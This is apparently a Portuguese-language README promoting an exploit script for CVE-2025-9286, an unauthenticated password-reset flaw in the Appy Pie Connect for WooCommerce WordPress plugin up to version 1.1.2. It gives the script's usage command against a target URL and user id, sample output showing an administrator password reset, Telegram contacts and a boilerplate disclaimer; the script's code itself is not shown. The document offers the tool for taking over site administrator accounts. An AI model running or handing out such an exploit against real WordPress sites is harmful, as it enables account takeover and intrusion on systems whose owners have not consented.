CVE-2025-9286

Appy Pie Connect for WooCommerce <= 1.1.2 - Falta de Autorização para Escalação de Privilégios sem Autenticação

⚠️ Appy Pie Connect for WooCommerce <= 1.1.2 - Falta de Autorização para Escalação de Privilégios sem Autenticação via reset_user_password

📝 Descrição

O plugin Appy Pie Connect for WooCommerce para WordPress é vulnerável a Escalação de Privilégios devido à falta de autorização no manipulador REST reset_user_password() em todas as versões até, e incluindo, 1.1.2.
Isso possibilita que atacantes não autenticados redefinam a senha de usuários arbitrários, incluindo administradores, obtendo assim acesso administrativo.

• CVE: CVE-2025-9286
• CVSS: 9.8 (Crítico)

---

💻 Script de Exploit

O seguinte exploit pode ser usado para explorar a CVE-2025-9286 em sites WordPress que executam a versão vulnerável do plugin.

Nome do Script: CVE-2025-9286.py

⚙️ Uso

python CVE-2025-9286.py -u http://nxploit.ddev.site/ -id 1

🟢 Exemplo de Saída (Exploração Bem-Sucedida)

[+] Checking plugin version: http://nxploit.ddev.site/wp-content/plugins/appy-pie-connect-for-woocommerce/readme.txt
[!] Vulnerable plugin detected (1.1.2). Attempting exploitation...
[*] Please wait, attempting to change password...
[+] Exploit successful! Password has been reset.
[*] New password: Nxploited
[+] Vulnerability exploited and password changed successfully.

---

📬 Contato & Comunidade

• 📨 Telegram: @Kxploit
• 📡 Canal do Telegram: @KNxploited

---

⚠️ Aviso Legal

Este exploit é apenas para fins de teste de penetração educacional e autorizado.
O uso não autorizado contra sistemas sem permissão explícita é ilegal.
O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.

---

Por: Khaled Alenazi (Nxploited)